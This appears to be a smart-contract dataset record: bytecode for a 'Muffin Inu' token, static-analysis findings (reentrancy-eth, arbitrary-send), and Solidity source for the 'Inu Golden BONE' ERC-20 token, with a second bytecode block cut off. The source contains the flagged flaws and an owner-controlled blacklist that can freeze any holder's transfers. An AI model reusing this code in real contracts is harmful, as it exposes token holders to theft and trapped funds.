0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b6565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600a8152694d756666696e20496e7560b01b60208201525b60405161017691906119fa565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461188b565b61044e565b6040519015158152602001610176565b3480156101bb57600080fd5b50670de0b6b3a76400005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef36600461184b565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610176565b34801561023157600080fd5b5061013861024036600461197d565b61088f565b34801561025157600080fd5b506101386102603660046117db565b6108d7565b34801561027157600080fd5b50610138610922565b34801561028657600080fd5b506101c66102953660046117db565b61094f565b3480156102a657600080fd5b50610138610971565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102e357600080fd5b5060408051808201909152600681526526aaa32324a760d11b6020820152610169565b34801561031257600080fd5b5061019f61032136600461188b565b6109e5565b34801561033257600080fd5b506101386109f2565b34801561034757600080fd5b506101386103563660046119b5565b610a28565b34801561036757600080fd5b506101c6610376366004611813565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a4d565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b60565b9150506103d7565b5050565b600061045b338484610afa565b5060015b92915050565b6000610472848484610c1e565b6104c484336104bf85604051806060016040528060288152602001611bcb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611030565b610afa565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a4d565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082670de0b6b3a7640000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117f7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f8161094f565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119cd565b5050600f8054660c6f3b40b6c00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085757600080fd5b505af115801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611999565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016103cb90611a4d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016103cb90611a4d565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094257600080fd5b4761094c8161106a565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ff565b6000546001600160a01b0316331461099b5760405162461bcd60e51b81526004016103cb90611a4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1e565b600c546001600160a01b0316336001600160a01b031614610a1257600080fd5b6000610a1d3061094f565b905061094c81611183565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016103cb90611a4d565b60008111610aa25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abf6064610ab9670de0b6b3a764000084611328565b906113a7565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610ce45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103cb565b60008111610d465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103cb565b6000546001600160a01b03848116911614801590610d7257506000546001600160a01b03838116911614155b15610fd357600f54600160b81b900460ff1615610e59576001600160a01b0383163014801590610dab57506001600160a01b0382163014155b8015610dc55750600e546001600160a01b03848116911614155b8015610ddf5750600e546001600160a01b03838116911614155b15610e5957600e546001600160a01b0316336001600160a01b03161480610e195750600f546001600160a01b0316336001600160a01b0316145b610e595760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016103cb565b601054811115610e6857600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eaa57506001600160a01b0382166000908152600a602052604090205460ff16155b610eb357600080fd5b600f546001600160a01b038481169116148015610ede5750600e546001600160a01b03838116911614155b8015610f0357506001600160a01b03821660009081526005602052604090205460ff16155b8015610f185750600f54600160b81b900460ff165b15610f66576001600160a01b0382166000908152600b60205260409020544211610f4157600080fd5b610f4c42600f611af2565b6001600160a01b0383166000908152600b60205260409020555b6000610f713061094f565b600f54909150600160a81b900460ff16158015610f9c5750600f546001600160a01b03858116911614155b8015610fb15750600f54600160b01b900460ff165b15610fd157610fbf81611183565b478015610fcf57610fcf4761106a565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101557506001600160a01b03831660009081526005602052604090205460ff165b1561101e575060005b61102a848484846113e9565b50505050565b600081848411156110545760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b49565b95945050505050565b600c546001600160a01b03166108fc61108f600a6110898560066113a7565b90611328565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d7600a6110898560046113a7565b6040518115909202916000818181858888f1935050505015801561044a573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103cb565b6000611170611415565b905061117c83826113a7565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d957634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122d57600080fd5b505afa158015611241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126591906117f7565b8160018151811061128657634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112ac9130911684610afa565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e5908590600090869030904290600401611a82565b600060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000826113375750600061045f565b60006113438385611b2a565b9050826113508583611b0a565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103cb565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611438565b806113f6576113f6611466565b611401848484611489565b8061102a5761102a6005600855600a600955565b6000806000611422611580565b909250905061143182826113a7565b9250505090565b600081836114595760405162461bcd60e51b81526004016103cb91906119fa565b5060006110618486611b0a565b6008541580156114765750600954155b1561147d57565b60006008819055600955565b60008060008060008061149b876115c0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114cd908761161d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114fc908661165f565b6001600160a01b03891660009081526002602052604090205561151e816116be565b6115288483611708565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156d91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061159b82826113a7565b8210156115b757505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006115dd8a60085460095461172c565b92509250925060006115ed611415565b905060008060006116008e87878761177b565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611030565b60008061166c8385611af2565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103cb565b60006116c8611415565b905060006116d68383611328565b306000908152600260205260409020549091506116f3908261165f565b30600090815260026020526040902055505050565b600654611715908361161d565b600655600754611725908261165f565b6007555050565b60008080806117406064610ab98989611328565b905060006117536064610ab98a89611328565b9050600061176b826117658b8661161d565b9061161d565b9992985090965090945050505050565b600080808061178a8886611328565b905060006117988887611328565b905060006117a68888611328565b905060006117b882611765868661161d565b939b939a50919850919650505050505050565b80356117d681611ba7565b919050565b6000602082840312156117ec578081fd5b813561117c81611ba7565b600060208284031215611808578081fd5b815161117c81611ba7565b60008060408385031215611825578081fd5b823561183081611ba7565b9150602083013561184081611ba7565b809150509250929050565b60008060006060848603121561185f578081fd5b833561186a81611ba7565b9250602084013561187a81611ba7565b929592945050506040919091013590565b6000806040838503121561189d578182fd5b82356118a881611ba7565b946020939093013593505050565b600060208083850312156118c8578182fd5b823567ffffffffffffffff808211156118df578384fd5b818501915085601f8301126118f2578384fd5b81358181111561190457611904611b91565b8060051b604051601f19603f8301168101818110858211171561192957611929611b91565b604052828152858101935084860182860187018a1015611947578788fd5b8795505b838610156119705761195c816117cb565b85526001959095019493860193860161194b565b5098975050505050505050565b60006020828403121561198e578081fd5b813561117c81611bbc565b6000602082840312156119aa578081fd5b815161117c81611bbc565b6000602082840312156119c6578081fd5b5035919050565b6000806000606084860312156119e1578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2657858101830151858201604001528201611a0a565b81811115611a375783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ad15784516001600160a01b031683529383019391830191600101611aac565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0557611b05611b7b565b500190565b600082611b2557634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4457611b44611b7b565b500290565b600082821015611b5b57611b5b611b7b565b500390565b6000600019821415611b7457611b74611b7b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461094c57600080fd5b801515811461094c57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f317d7a2bbae46ded8dc409f6d7fea23f605190d6426e40e33bff8e98a3d0b064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,376 |
0xe950153d2b19f5f823e0d12a242aefe928603fd7
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract InuGolden is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Inu Golden BONE";
string private constant _symbol = "BONE \xF0\x9F\x90\x95";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600f81526020017f496e7520476f6c64656e20424f4e450000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f424f4e4520f09f90950000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffff